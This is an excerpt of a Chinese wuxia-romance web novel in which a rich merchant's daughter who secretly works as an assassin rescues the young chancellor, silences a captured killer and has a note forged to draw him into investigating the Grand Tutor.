《丞相非要以身相许》
1. 怜香惜玉
“听说了吗?有人重金悬赏丞相的人头!”伴随着清脆的声音,一双翘头镶珠绣花鞋踏入房门,步履间层层叠叠的水红色纱裙荡开涟漪,腰身与袖口用丝带束紧,勾勒出一道窈窕身影。
“我说白大小姐啊,你可知道这个单子要杀的人是谁?那可是当朝宰相!谁不知道龙椅上那位最是重视这位年轻宰相啊,真要接了这个单子我看才是惹了大麻烦。”屋内端坐的人是月影阁的一把手--萧恒。
他一边擦拭着手里的剑一边抬头看向少女。
刚刚进门的少女名叫白妙可,是天下第一富商白家唯一的大小姐,只是少有人知道她还是月影阁的一个神秘杀手。
之所以说她神秘,是因为她向来以面具示人,而且武艺超群,至今从未失手。
因此她也最喜欢接具有挑战的任务,显然刺杀丞相的难度是前所未有的高。
白妙可眉梢轻挑,明白他说得有些道理,却还是打趣道:“没想到你也有瞻前顾后的时候,我们不动他也有的是人为了赏金拼命。”
萧恒不置可否,月影阁作为江湖上的头号暗杀组织,虽然平时也不是没杀过几个官员,但是要真是跟朝廷牵扯上太多的确是麻烦。
他们此刻位于京城最大酒楼揽月楼,四层高的楼阁雕梁画栋、奢华非常,除了他们所在的顶层,这里是暗杀组织月影阁的秘密场所。
此时正是晚膳时分,楼下传来觥筹交错的声音,伴随着阵阵丝竹之音。
没法去找点儿乐子的白妙可正百无聊赖地伏在巨大的案桌前自斟自饮,一杯晶莹剔透的琉璃盏被她虚虚握在手中,揽月楼中千金难求的桂花梅子酒散发着果香,随着她纤细的手腕晃动在烛光下透出忽明忽暗的光晕。
桌前的少女唇红齿白,肤若凝脂,端的是明艳大气,一双微微上挑的凤眼仿佛能够勾人魂魄,眼尾的一颗小痣却是增加了几分俏皮感觉,像是丛林中的小鹿成了精,让人一眼难忘。
沾了酒液的红唇微微抿起,似乎还在想刺杀宰相的事情。
恰在此时,楼下传来一阵乒乒乓乓的撞击声,食客惊恐的呼喊伴随着大声喝止的喊声此起彼伏。
白妙可精致的眉眼微微一蹙,到底是纵横江湖的老手了,一听楼下的刀剑声便知这绝非是酒后斗殴那般小打小闹,大概率是有计划的刺杀。
萧恒也听见了楼下的动静,心想毕竟是白家的地盘,敢在这楼里这么大动干戈的还真是勇士,在心里默默的替楼下闹事的人默哀。
一抬头就看见对面脸色不虞的白妙可,别看这位大小姐端庄坐着的时候那一身的气派,跟京中的一众贵女也是不遑多让,但是她一身的功夫在阁里无人不服。
萧恒问道:“要不要我出去看看?”
白妙可一时没应声,又侧耳听了一会儿外面的动静,忽然起身反手抽出了腰间的鞭子,留下一句,“你忙去吧,我下去看看。”
没等对方回应就从窗户一跃而下,手里的鞭子一勾就轻轻巧巧的落到了楼下的一间雅间。
房间里面没有点灯,看起来像是没人预定的空房,但是白妙可作为这栋酒楼的少东家自然了解揽月阁的雅间是多么抢手,几乎不可能出现空置的情况。
揽月楼雅间的格局像是客房一样,床铺及盥洗室一应俱全,方便客人在此听曲小憩。
白妙可落地后就刻意放轻脚步,几乎没有发出一点声响就移到了里间。
多年习武练就了过人耳力,稍加留意便发现了床下有一阵紧张的呼吸声。
床下的呼吸声随着白妙可的靠近而迅速减轻,感觉像是床下的人在努力屏住呼吸,白妙可唇角一勾,竟然是看似随意地坐在了床榻边缘,手指有一下没一下地敲着床侧的精雕花纹。
反观床下的陆瑜,一颗心都提到嗓子眼了,竖耳听着外面的动静。
陆瑜就任丞相并着手替皇帝大刀阔斧推行新政以来,各路暗杀就没停过,今日来更是猖獗。
偏偏这位连中三元的博学才子没有半分武学天赋,身为定国将军的嫡长子,陆瑜幼时受过的骑射和拳脚功夫的课程不在少数,只是他无心于此也不谙此道,因而这么多年也就算得上是身体强健,若是真碰上暗杀,也只有拔腿就跑的份。
今日便是如此,陆瑜受户部尚书之约在揽月楼吃饭,正在跟一群朝堂上的老狐狸打太极呢,一位小厮打扮的人忽然将一杯茶水撒了他一身,不得已他只能来楼上的客房换件衣服,没成想居然有几个杀手埋伏在此。
趁着护卫跟杀手扭打在一起的时候,陆丞相迫不得已躲进了这间客房的的床底。
本想着将灯都熄了能苟到护卫来找,没成想先等来了这位不速之客。
等了一盏茶的功夫也没听见床底的人有什么动作,白妙可的耐心逐渐耗尽了。她微微倾身探向床底,手里的银鞭像毒蛇一样甩出,精准的缠住了床下人的手腕。
伴随着一声短促的惊呼,陆瑜就这么被腕上紧缠的鞭子给拽了出来,堪堪跌坐在地上。
白妙可也愣了一下,面前的男子似曾相识,绝对在何处见过。
正值满月,窗外的月光毫不吝啬地洒在面前男子的脸上,好一个剑眉星目,面如冠玉,俊美不凡,即便是略显狼狈地坐在地上,也掩盖不住他清雅矜贵的气质。
看着月光下清俊如玉的男子,白妙可脑海中不合时宜地想起了那句古话--灯下看君子,月下看美人,面前的男人是不是君子不知道,但绝对是美人。
白妙可从未觉得自己这么禁不起诱惑,红润小巧的唇角却是控制不住地翘了起来。
轻轻拽了下手里的鞭子,她放缓声音道:“公子快起来吧,地上凉。”语气里竟然是带了些怜香惜玉的意味。
陆瑜佯装镇定地抬头看向榻上坐着的人,没想到对方是个明眸皓齿的女子。
各处五官无不透着精致,即使在昏暗的房间内也能看见那双澄澈眼睛里闪烁的光芒,便是陆瑜见过的所有世家贵女还是公主小姐都不曾有过这般明艳的长相。
不辨敌友,他只能不动声色的将手腕处缠着的软鞭慢慢解下来,决定还是不要主动暴露身份。
只见他斟酌着说道,“我本是来这楼里吃饭的,谁承想碰见了刺杀,我恐被波及,故而……不知姑娘是?”
听着对方明显省略了关键过程的自白,白妙可只是勾唇微笑,用欣赏的目光继续打量男人,门外却突然传来了急促的脚步声。
白妙可依旧坐在床沿,双脚轻点地面,没有其他反应。
被追杀的陆瑜就没有这么淡定了,他打开旁边一人高的檀木衣柜钻了进去。
然后看着外面的姑娘,眼神示意她一块进来躲躲,虽然并不相识,但是他也不愿看见旁人因为自己而遭受无妄之灾。
白妙可一眼不错地看见他这一系列动作,有些忍不住想笑,又尽量压下嘴角,想保持一个杀手的冷酷形象,虽然对方好像不知道自己是杀手……
外面传来越来越近的脚步声,陆瑜的眼神示意都快起飞了,看着男子清冷的脸上浮现一丝焦急,她忽然起了些兴致,在房门被推开之前也一闪身进了衣柜。
这个檀木衣柜虽然很大,但是容纳两个人还是略挤了,陆瑜本着男女授受不亲的想法,将后背紧紧贴住衣柜侧面,尽量减少二人之间的接触。
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白妙可却没有那么多顾虑,她将一侧肩膀虚虚的靠在陆瑜身上,意外发现看起瘦弱的男人身板还是很硬朗的,并且他身上带着些清冽的味道,像是雪后的松针一样让人神清气爽。
一阵推门声响起,有人进了房间,屋内依旧昏暗,来人的脚步明显放缓了一些,显得更加警惕。
衣柜里的陆瑜也将呼吸放到最缓,贴着壁面一动不动,白妙可却是将脸凑近衣柜门,一双圆溜溜的眼睛向外面看去。
来人有三个,个个均穿着夜行衣,脸也被遮得严严实实。
他们在外间找了一圈,连桌子底下都没有放过,进而向里间走来。
陆瑜听着外面的动静,心已经凉了大截,虽然一起躲着的这位姑娘手里有条长鞭,约莫是会些功夫,但是外面那些可是专业暗杀组织的杀手,恐怕难以对付。
他慢慢摸出了怀里的短刀,打算殊死一搏,同时暗自在心里腹诽皇帝给自己安排的这些活可真是刀尖上舔血,枉他还没有亲眼看见大齐河清海晏便要殒命于此。
随着外面脚步声逐渐靠近,陆瑜握紧了手中的短刀,轻轻挪到了白妙可的身前,屏息等待着。
看着他的动作,白妙可惊讶了一瞬,身前这个明显没什么功夫,恐怕自顾不暇的男人居然在试图保护自己。
这让本来打算袖手旁观的她改变了主意。
她轻轻转动了一下手腕,在来人推开衣柜门的瞬间擒住了对方的脖子,下一刻便听得咔嚓一声,黑衣人的脑袋缓缓耷拉了下去,直接没了气息。
剩下的两个黑衣人听见这边的动静,抽刀逼近,在看见她手里鞭子的瞬间动作一顿,两人对视一眼转头想逃。
少女却不知从何处拿出一枚飞镖反手掷出,正中一名黑衣人的眉心,尸体应声倒下。
又瞬间甩出手里的银鞭将另一名黑衣人的双脚牢牢捆住,那人摔倒在地,白妙可一扯就将人拽到了面前绑了起来,抬手就卸了对方的下巴。
转头就看见那位俊秀男人也从衣柜里出来了,正面露惊讶地看着她扯着剩下的一个黑衣人。
白妙可拽着人捆结实以后扔到角落,看起来壮实的人被她像拎小鸡仔一样提在手里拖着走,
陆丞相此刻既新奇又惊叹,他还是第一次见这般风格的姑娘,不同于京中贵女常见的温婉柔弱,面前的女子一身红裙似火,眼角眉梢都透着肆意洒脱,便是站在那里不动都让人移不开视线。
即使他在武艺方面并不擅长,也能看出这女子是个高手,刚从鬼门关回来的陆瑜抢先开口说到:“姑娘好身手!姑娘便是我的救命恩人,今日之恩在下定当重谢。”
这话表面上又是夸她武艺又是表达感激的,实则先发制人给她扣上一个救命恩人的帽子,白妙可自嘲地勾了勾唇,自认算不上什么大善人。
她没应声,走到桌前将屋内的灯点了起来,想要好好看看对方的那张俊脸值不值得自己相救。
烛光倏然亮起,白妙可看着面前清冷绝尘又气度不凡的男子,她终于想起来对方是谁了。
可不正是大名鼎鼎的当朝宰相陆瑜嘛,五年前他连中三元在京城最繁华的街上风光游街的时候自己可是围观过呢,鲜花手绢不知收了多少,当时的盛况至今还有人拿出来追忆。再后来白妙可只听说他做了个心狠手辣,行事果决的丞相。
今日再见,没想到当时风姿俊逸的状元郎经过五年官场的磨砺,褪去了少年的青涩,多了几分沉稳又深沉的气质。
前不久还在遗憾不能杀了丞相的白妙可立刻改变了想法,这般温润如玉的公子杀了岂不可惜。
人她救了,这丞相的恩人,她当定了!
2. 救命之恩
想起面前这位谪仙般的人物躲在床底的模样,白妙可就有些忍俊不禁,想再逗逗他。
于是她轻挑眉梢,一步一步地向陆瑜走近,嘴角噙着笑,语气是前所未有地温柔:“公子之前不是说这些杀手并不是冲你来的吗?看起来可不像。”
嗅到一丝危险的气息,陆瑜薄唇轻抿,一双深不见底的眸子紧盯着面前步步靠近的女子,在二人还有三步距离的时候,男人开口道:“是我仇家所派,还得多谢姑娘出手,敢问姑娘姓名?”
陆瑜看得出来以她的身手对付这些杀手都没费多少力气,若是她现在后悔了,要杀了自己也只是动动手指的功夫罢了,他只能先稳住她,别的事情后面再说。
杀那两个人对白妙可来说的确算不得什么,但是她从前做这些暗杀任务的时候都是戴着面具。
今天出手纯属意外,白妙可不想承认自己是被陆瑜的美色蒙蔽了双眼,此刻听见对方问自己的姓名,突然开始有些后悔刚才太过善良了,这可是作为杀手的大忌。
她定了定心神,不再看向陆瑜,免得被他那张脸又给拐了去,忽略他的问题,只问道:“我帮你解决了他们,不知公子准备如何谢我?”
说罢她露出狡黠的笑容,一双眸子水灵灵地闪着光。作为商人她从不做亏本买卖,可得好好想想这位丞相的命要拿什么来换。
陆瑜脸上不辨喜怒,低沉着嗓音开口:“救命之恩自当重谢,不知姑娘想要什么?”
眼见猎物上钩了,白妙可笑得更开心了:“我想要你欠我个人情。”
陆瑜没想到会是这个答案,但是转念一想,对方应该是个江湖人士,可能并不是真的要求回报,于是应允道:“好,日后姑娘有什么困难来找我便是。”
说罢报上了京城城北的一处地址。
白妙可却是眉头一皱,问:“怎么丞相不欢迎我去镇国公府吗?”
陆瑜平淡的眼眸中浮现一丝诧异,意识到刚才她说的人情可能不只是江湖人士的推脱,一向都是算计别人的陆丞相觉得自己好像被算计了……
跟聪明人讲话点到即止,他只回道:“那自然也是欢迎的,姑娘的要求陆某定尽力而为,”
白妙可便懂了,他这是承了自己的情。这才满意的点点头,拽着手里的黑衣人便准备离开。
陆瑜忙说:“等一下,能不能把这个人交给我。”
听见他的话,白妙可笑了一下,说:“你要是想审他的话就别想了,要不是我把他下巴卸了他早就咬舌自尽了。”
陆瑜好歹也在刑部待过一段时间,很清楚那些手段就没有撬不开的口,于是他说:“这个就不必姑娘操心了,陆某自有办法。”
白妙可葡萄一般的黑眼珠转了一圈,伸出一根手指说到:“可以是可以,拿一千两银子买他。”这个人看见了她的长相,为了不暴露身份,本来她是准备直接将他了结了的。
若是在此之前还能换一笔钱就更好了,银子可没人不喜欢。
对面的陆瑜愣了一下,似乎是没想到她会这般……直接。
白妙可清楚陆瑜作为定国将军的嫡子,又在朝为官五载,手头上肯定多少有些积蓄,这点钱对他来说应该算不得什么。
况且人在自己手上,她骄矜地抬了抬下巴,笃定他会同意。
果然看见对方从怀里掏出一张银票递了过来。
白妙可伸手接过,发现还是印着白家商号的银票,心里更高兴了。
抬手便将捆成粽子的黑衣人扔了过去,心里却已经有了别的打算。
陆瑜看着她扔人的轻松动作,觉得自己下次见到这位姑娘还是绕道而行吧。
完事儿白妙可从袖中摸出一方帕子仔细的擦了擦手,听见外面有脚步声,伴随着焦急的呼喊,猜想是他的护卫寻了过来。
于是白妙可冲陆瑜摆了摆手,在他们推门进来之前翻身从窗户离开。
走之前还特意回头看了陆瑜一眼,心想这可不是贪恋美色,只是为了确保自己下次讨债的时候能一眼认出来这厮。
随后几个护卫破门而入,为首的是陆瑜的长随富贵,他自小跟着陆瑜伺候,此刻满脸焦急。
他紧张的围着陆瑜打转,发现自家主子除了衣服有些脏污和褶皱,并没有受什么伤。
他才长长的呼出一口气,说到:“公子没事吧,方才护卫们被打伤了好多,剩下的去追那伙刺客,他们武功很高,我们不是对手,没能抓到活口。”
听见这话,陆瑜的脸色有些阴沉,心里清楚对方这是花了大手笔要杀了自己,脑海里冒出了一个名字--马鸿哲,当朝太傅。
陆瑜当上丞相已有两年,当初皇帝李淮刚登基没几年,在朝中尚且没有稳定根基的时候,陆瑜凭借着雷霆手段替他稳住朝政。
反对陆瑜的人很多,无非是认为陆瑜跟皇帝有着从小玩到大的交情,故而颇受提拔,恐怕难当大任。
实际上是皇帝私下劝了陆瑜好一阵子,他才同意来当这个出力不讨好的丞相。
想帮帮这位处处掣肘的好友是一方面,更大的原因是,他想推行新政,使得大齐国富民强。但是这话说出去也没人会信,众人只道他是权臣奸佞,恐怕只有陛下知道他的一片赤诚抱负。
这些年下来,陆瑜在朝政上颇有建树,那些反对的声音渐渐消失了,无人再质疑他的能力。
但是他替皇帝做的那些改税赋惩戒贪官的事情,不知道损害了多少世家的利益,为此树敌颇多。
其中最为棘手的就是太傅马鸿哲,这位太傅早些年辅佐先帝,颇受先帝信重,在朝中也是门生众多。在新帝登基后逐渐暴露了狼子野心,以他为首的世家大族盘根错节,说是在朝堂中占据了半边天也不为过。
陆瑜猜测此次暗杀多半是这位太傅的手笔,只要能撬开这个杀手的嘴,就算是有了证据。到时候即便是治不了马鸿哲的罪,陆瑜也能让他掉一层皮。
他让护卫们将黑衣人看好,没有再去管今日一同吃饭的那些官员,径自登上了马车,打道回府。
陆府坐落在皇城北面,朱红色的府门肃穆庄严。
这所宅子还是陆瑜的父亲陆巍昂随先帝出征后赏赐下来的。
陆老爷子年轻的时候东征西伐,立下赫赫战功,被封为镇国将军。
在陆瑜十四岁那年却突然请辞,从那以后便过上了日常鞭策儿子的退休生活。
到家的时候月亮已经高悬了,陆瑜穿过连廊走回自己的院子,交代富贵把那个黑衣人给关到后院的牢房。
在陆府的院墙之上,白妙可正盯着下方被带走的黑衣人,看清了关他的具体位置。
没错,她就是来杀人灭口的。
她收了一千两是让陆瑜把人带走的钱,可这个黑衣人可能认出来了她的身份,那就不是钱能解决的了。
所以她转头就来了陆府,陆府的守卫许多都是跟着陆老爷子上过战场的人,白妙可避开他们花了些时间。
她蹲在墙头听陆瑜安排完一切,看他就进了内室。
他吩咐下人备水,脱下在地上摸爬滚打了一圈的外袍,嫌弃的扔到一边。
没一会儿就传来了水声,白妙可刚准备去办正事的脚步顿了一下,鬼使神差的靠近了内室。
她在心里想着:来都来了,看一眼不过分吧,陆丞相长得这么帅,她只是犯了全天下女人都会犯的错罢了。
这般想着,她从后窗翻了进去。
陆瑜的房间看起来朴素又整洁。
一张拔步床,一个博古架,还有一方书案,上面整齐的叠放着一些纸张,白妙可对这些都不感兴趣。
她缓缓的移向内室的屏风,后面正传来哗哗水声。
可能是第一次做这种事。无论面对什么危险情况都能保持镇静的她,此刻
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居然感觉自己有些紧张。
她看向山水屏风后隐约透出来的轮廓,意外这个看起来瘦弱的男人,身材居然出奇的好。
他坐在浴桶中,只露出宽肩窄腰,黑发搭在肩头。白妙可摸了摸自己有些发烫的脸,突然有些心虚,不敢再继续看下去。
暗暗在心里唾弃自己色令智昏,逃也似的从后窗翻了出去。
她小心躲开了各处守卫,顺利摸到了陆府后院的牢房,打晕了看守的两个人,进了牢房里面。
里面倒是比白妙可预料的好一些,简陋但是整体还算得上干净。她戴好面具,没有理会其他牢房关的人,径直走向关着黑衣人的那间,在对方惊恐的眼神中,连牢门都没开,直接扔出一枚飞镖解决了对方。
完事儿干脆利落地翻墙走了,很快消失在夜色当中。
陆瑜洗漱完毕后,长随富贵前来汇报说是没有在揽月楼附近发现红衣女子的踪迹。
嘴上虽然说着是救命恩人,但是陆瑜可不相信今天那位武艺高强的神秘女子只是路过,顺手做一件善事那么简单。
更何况对方还很清楚自己的身份。
于是在护卫找过来的第一时间,他便派人前去追踪,想要弄清楚对方的身份,可惜没什么收获。
他略带遗憾的摆了摆手,想着是不是该请些更厉害护卫了。
富贵突然福至心灵,开口问道:“公子要寻这姑娘,莫不是入了公子的眼?”
陆瑜听着这话白了他一眼,说到:“光是朝堂上那些事情就够我烦心的了,我现在哪有时间想那些。”
王富挠了挠头:“可是老爷和夫人催得紧,公子也该考虑成家了。”
提起来这件事陆瑜就头疼,自家老爷子在家下棋逗鸟陪夫人还嫌不够,三天两头催着自己尽早成婚,还说什么像他这么大的时候,早都成亲了。话里话外透着对陆瑜淡淡的鄙视。
武将出身的陆老爷脾气也是直来直往,陆瑜的母亲虞氏倒是温柔的很,陆老爷子对夫人可以说是言听计从。
这么多年二人一直感情很好,陆家家训不许纳妾,陆老爷子也从未有过这种心思。
并且父母二人在催他成家这件事上立场出奇的一致,都觉得他已二十六了还没有个知心人实在可怜。
无论是陆瑜的家世,样貌,才学还是能力,在京城都是数一数二的,心悦于他的贵女也不在少数。
世人都说他不近女色,其实他只是没有时间也没有心思谈情说爱,以至于这么些年从未有过什么亲近的女子。
他收回思绪,让富贵准备一下,转身去往牢房,不弄清楚是谁要杀自己,心里总归不踏实。
谁承想走近牢房就发现躺在地上昏迷不醒的侍卫,他暗道不妙,急忙进去就发现今天晚上带回来的那个黑衣人早就没了气息。
看着刺穿对方额头的飞镖,他心头立刻浮现出那个红裙少女的身影,想起来女子像自己讨去的一千两银子,他一时气的青筋狂跳。
富贵等人已经查验完了尸体,上前禀报说;“公子,尸体没有其他伤口,额头上的飞镖应该就是致命伤,看起来凶手武功极高,力道很强且正中眉心。”
陆瑜问道;“飞镖上有什么标志吗?”
富贵回:“没有,但是跟今晚揽月楼里发现的一样,应该是同一个人。”
陆瑜本就阴郁的心情更糟糕了,好一个救命恩人,江湖骗子骗到自己头上了,下次最好别再让他碰见,否则定饶不了这个女贼。
他转身回了书房。
今日的暗杀虽然没有证据,但是陆瑜也不可能就这么轻松揭过,他提笔写了一封奏折,将前段时间查出来的贪官名单列了个一清二楚,多少有点泄愤的意思。
既然没查出来是谁干的,那就都敲打敲打好了,尤其是那位太傅大人。
做完这一切,倒霉的陆丞相终于皱着眉头勉强入睡。
3. 登门拜访
另一边,白妙可跳窗从陆府离开以后也没再闲逛,抄近路回了家,轻巧的跃进了白家大院。
府里的仆从已经对自家小姐这种从天而降的方式见怪不怪了,白妙可的贴身丫鬟春杏迎上前来。
“小姐回来了,老爷在书房等着呢。”春杏是府里唯一知道白妙可在外面的身份的人,平日经常帮白妙可在自家老爷面前打掩护。
白妙可有些疑惑:“这么晚了,我爹找我有什么事?”
春杏摇头回道:“奴婢不知。”
白妙可点了点头,回房间换了身浅杏色的襦裙才往书房走去,她在家里可是父亲的乖乖女。
走到书房门口发现一个伺候的下人都没有,白妙可有些疑惑的推门进去。
一进门便看见父亲白振海独自坐在书房的宽大扶椅里,屋内也没有多余的仆人。
他听见声音抬起头来,看见肖似自己已故夫人的小女儿,他面无表情的脸上浮现出一丝温和,指了指身边的位置,说到:“小可来了,你坐下我有事要说。”
白妙可感觉今天父亲有些不一样,心里隐隐担心是不是自己在外面搞暗杀组织的事情被发现了,满怀忐忑的坐在桌案一侧,乖巧的跟在外面判若两人。
白老爷沉默不语,从桌上拿起一封书信,递到白妙可手里。
白妙可疑惑的看着手里泛黄的信纸,定睛一看,发现这是母亲的字迹。
看着熟悉的字迹,她的心头突然涌起一阵酸涩,母亲在她十五岁那年病逝,她现在写的一手小楷就是跟着母亲学的,却不及母亲的一半。
她低头读着这封信,眉头逐渐紧锁。
这封信好像是母亲尚未出嫁的时候写的家书,信中夸赞了江南的风光秀美,说要在此多住几日,语气里充满了年轻女子出游的新奇和对家里人的思念。
白妙可仿佛看见了年轻时的母亲在江南泛舟游玩的情景,脸上不禁也浮起了笑容。
但是在信的最后一页,母亲不知是有意还是无意,提到了马鸿哲在江南同自己一起,行踪却十分可疑,再到后面的内容却是被人撕毁了,信就到这里戛然而止。
白妙可抬头看向父亲,她说:“马鸿哲现在是当朝太傅?母亲怎会认识他?”
白老爷点了点头,说:“我下午派人去查了,他当时担任的是工部侍郎,常去江南督查水利。”
听了父亲的话,白妙可心头的疑惑更多了。
她只知道母亲黎雨兰是个孤女,后来遇见了走南闯北经商的父亲,二人情投意合结为夫妻。
后来母亲便一直随着父亲一路将白家的商号开到了京城,也是这个时候,他们的第一个孩子出生了,正是白妙可的哥哥白永思。
他们便在京城安家,逐渐将白家的产业扩张到全国,做到了现在天下第一商号的规模。
又过了三年,自己出生了,她还记得母亲教她读书识字,弹琴作画,还教她礼仪规矩,印象里的母亲懂得那样多,那般的气度和教养恐怕是宫里的公主都自愧不如。
后来母亲的身体便越来越差,终于在她十五岁那年去世。
手里这封家书说明母亲并不是孤女,相反,应该是有非常和美的家庭才会在家书里流露出这般小女儿情态。
她将信纸仔仔细细的叠好,问向父亲:“父亲是从何处发现的这封书信?”
白老爷说:“在你母亲妆奁的夹层里。”
自母亲去世,父亲便一直没有再娶,虽然商贾之家比不得官家,但是第一富商的身份在,想进门做续弦的也是大有人在。
即使父亲很少在儿女面前提起母亲,但是白妙可知道他每个月总有那么几天待在母亲的房间里,房间里面的摆设也一如当年,看得出来常常有人来打扫。
这次大概也是父亲睹物思人的时候意外发现了这封信。
她问:“母亲真的只是孤女吗?看这封家书母亲的身份恐怕没有这么简单。”
白老爷缓缓摇头,说到:“你母亲当年与我相遇的时候靠抄书为生,身边的确一个亲人也没有。”
白妙可将信塞进怀里,眸色坚毅,对父亲说:“女儿会去查一查这些事情,父亲别想了,早些休息吧。”
说罢挤出一个甜甜的笑脸,转身退了出去。
白老爷还坐在太师椅上没有动作,心里有隐隐担忧。
自从白妙可及笄以来,他便开始将白家商号里面的大小事宜教给女儿,她学的很快,几年过去已经可以独当一面了。
并不是他瞧不上自己的长子白永思,只是这位白家大少爷一心想要入朝为官,对这些经商之道没有任何兴趣。
况且儿子近些时间都在准备今年的春闱,他便没有将此事告诉他,他相信自己的女儿不比任何男子差。
白妙可回了自己的院子,又拿出那封信翻来覆去的看了一遍,信中除了未曾提及姓名的家人,只剩下太傅马鸿哲算是有用的信息了。
并且说完他形迹可疑,后面的内容便被撕毁了,他到底在江南做了什么?
时间已经过去了近十年,而且听闻太傅此人阴险狡诈,行事更是狠戾,白妙可调查此事恐怕需要多费些功夫。
八月十日,是每个月白家查账的日子。
白妙可睡到日上三竿才起来,白家的各种生意平日都有专门的掌柜打理,只有每个月的月底白妙可会作为东家去各个掌柜那边查账,统计一下本月的盈利情况。
她今日穿了一身宝蓝色盘锦镶花锦裙,春杏又替她梳了一个更显端庄的十字髻,跟昨天简直判若两人,摇身一变,活脱脱一个贵女大小姐。
大小姐乘着轿撵从白府出发向着城西去了。
城西是京都最繁华的地段,林林总总开满了各种商铺,白妙可最先到了金玉楼。
金玉楼是白家开在城西的首饰铺子,专门卖一些金银首饰和翡翠摆件,同时也为宫里的贵人定做首饰。因为款式新颖且店里的每件首饰都是只此一件的,而备受命妇贵女们追捧。
白妙可这次来,不仅仅是查账,还想打听打听最近宫里的风声。
金玉楼的掌柜热情的将白妙可
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迎入雅间,顺便献上了一套玛瑙头面,算是摸清了白妙可的喜好。
白妙可飞快看完账目,便将话头转到了最近宫里的情况,掌柜恨不得知无不言:“听宫里的贵人说最近圣上为修改田赋的事情烦恼,连后宫都去的少了。”
白妙可才不关心皇帝去不去后宫,她追问到:“修改田赋应该是利民的好事,皇帝为何烦恼?”
掌柜答道:“减轻田赋我们老百姓自然是愿意,但是上头那些收缴田赋的世家必然是不愿意的,听说太傅连上了好几道折子批评圣上忘本呢。”
听见这话白妙可的眉头皱了一下,太傅虽然曾经是皇帝的老师,但是批评皇帝这种事还是有些越界了。
从金玉楼离开她便去了白家的酒楼揽月阁。
刚下马车,就有店小二满脸堆笑的将她带到了她的专属包厢,之所以是专属包厢,是因为这间房间的独特设计可以清楚听见隔壁几间房的声音。
白妙可时不时的就会跟萧恒来这儿听些八卦,什么年过半百的户部尚书又新添了几房姨娘,翰林院的某位古板学士常常出入青楼之类的饭后闲谈。时间久了,她发现萧恒对此并不是真的感兴趣,每次都是陪她在这儿坐着听上半天,却不与她讨论。
她今日没打算叫他,毕竟这位二把手平日还是很忙的。
她刚一落座,店小二就将她惯常点的酒菜都盛了上来,白妙可大快朵颐的时候就听见隔壁传来声音。
“今天丞相看起来心情很差啊,连太傅的面子都不给了,看来是要变天了。”
“你说这丞相跟太傅的争斗什么时候才能结束啊,真是神仙打架,小鬼遭殃啊,再这样下去我可真是两袖清风了。”
“唉,这可真不好说,一个背后是皇帝撑腰,一个背后是那么多世家大族,都不好得罪啊。”
“丞相今天上奏的那些同僚可都受了惩戒,最近还是夹紧尾巴老实一点吧。”
……
白妙可正在吃着一颗酒酿丸子,本来的瓜子脸圆圆地鼓起,暗暗心想,陆丞相今日心情不好,不会是因为自己昨天去杀人灭口了吧?
她昨天去陆府杀人的时候还没想隐瞒自己的身份,因为觉得被发现了也无所谓。
今天却听说了他跟太傅针锋相对,敌人的敌人就是朋友啊,自己说不定可以跟这位丞相打听一下太傅当年的事情。
这般想着,她决定登门给陆丞相赔个不是,再顺便探探他对太傅的了解。
将白家在城西的铺子都转了一圈以后,她自己提了一个精致的紫檀木糕点盒便向着镇国公府出发了。
此时已近傍晚,淡淡的光晕映照得陆府门口的金色牌匾,她抬手轻轻扣门。
很快便有小厮开门,她对小厮说:“我来拜访丞相大人。”
小厮每日不知要打发多少前来找丞相的人,只是姑娘来找倒是头一回。
他犹豫了一下,问道:“敢问姑娘姓名?小的进去通传一声。”
白妙可心思一转,开口说到:“你就说他的救命恩人来了。”
4. 以身相许
镇国公府占地很大,进门以后也很是气派,虽然在白妙可看来算不上奢华,却很有古朴庄重的感觉。
边走边欣赏,她很快被小厮引到前厅。
未进门,她的目光便在厅内转了一圈。特意选了个靠近门口的位置落座,万一一会儿打起来了也好逃跑。
很快便有婢女奉上茶水和糕点又悄然退下。
陆瑜刚从宫里回来,便听见小厮来报说是救命恩人在前厅等他。
他愣了一下才反应过来,好一个救命恩人,他直接气笑了,真是没想到这个女骗子还有脸来找他。
他快步走向前厅。
一进门便看见少女坐在右手边的位置上喝茶,看起来自在的很,不像是客人,倒像是主人。
他迈步进来的时候,白妙可才抬头打量着陆丞相,他一身绛红色的官袍,长身玉立,黑绸缎似的头发用玉冠束起,不苟言笑的样子带着些上位者的威压。
虽然陆丞相穿这身官服衬得他更加气度不凡,但是白妙可却是不合时宜的想起来昨天晚上屏风后的场景,仿佛透过官服又看见了那带着水珠的宽肩窄腰,还有凌乱披散的头发。
一时之间又觉得脸红心跳,有些不自在的移开了视线。
殊不知这副模样落在陆瑜眼里正是心虚的表现。
他冷哼一声,径直走近前厅,撩袍坐到了主位上。
冷着脸说:“姑娘今日怎么走正门来了。”
白妙可看着他坐在上首的位置,语气还是这般冷硬,莫名觉得像是在审问犯人,显然是在内涵她昨夜翻墙来杀人灭口的行为。
“丞相大人便是这般对待自己的救命恩人的?”她毫不心虚地反问。
想起昨日答应的人情,陆瑜脸色稍缓,语气却是不带一丝感情:“敢问姑娘有何贵干?”
她这才挂上甜甜的笑容,唇角露出两个浅浅的梨涡,语带羞涩道:“有些想念陆大人了。”
陆瑜眉头拧起,不愿与她多言,下起逐客令:“若是无事陆某就送客了。”
白妙可提起糕点盒子,冲他眨眨眼睛:“我带了些糕点,大人先尝尝再说。”
陆瑜见多了这种场景,但是看着少女一双圆溜溜的大眼睛里带着期待,拒绝的话又咽了回去。
他看了眼富贵,后者很快接过盒子递到陆瑜手边。
见他没有打开的意思,白妙可补充道:“我可是听说了昨夜暗杀的幕后指使者,今天特意来问问丞相还想不想知道。”
陆瑜挑眉看去,只见少女神情真挚,噙着笑与他对视。
他突然像被灼到一般挪开视线,在心里警告自己此女是个骗子,不可轻信。
他仍旧语气不善地问道:“姑娘如何知道?莫非是连夜去陆府牢房审问了那人?”
这厮怎么还抓着这事儿不放了,白妙可心里暗暗后悔昨天晚上太大意了。
“你打开看看便知道了。”白妙可眼神示意他打开糕点盒子。
闻言陆瑜打开精致的木盒,发现里面是一个信封。
信的封口已经被拆开,他拿出里面的字条,上面赫然写着:“申时,揽月楼,二楼,杀之。”
陆瑜幼时曾作为太子陪读一同由太傅授课,因此这封手书虽然只有寥寥几字,他却认出这是太傅的字迹。
他抬眸看向白妙可,对方坦然回视。
陆丞相突然有些好奇,面前的女子究竟是何身份,连自己都查不到的东西,她究竟是如何得知的。
其实白妙可并不清楚到底是谁想要杀陆瑜,她只是觉得以陆瑜的身份能够帮助自己调查太傅。
所以她下午逛到自家书铺的时候,拜托掌柜仿写了这封手书。
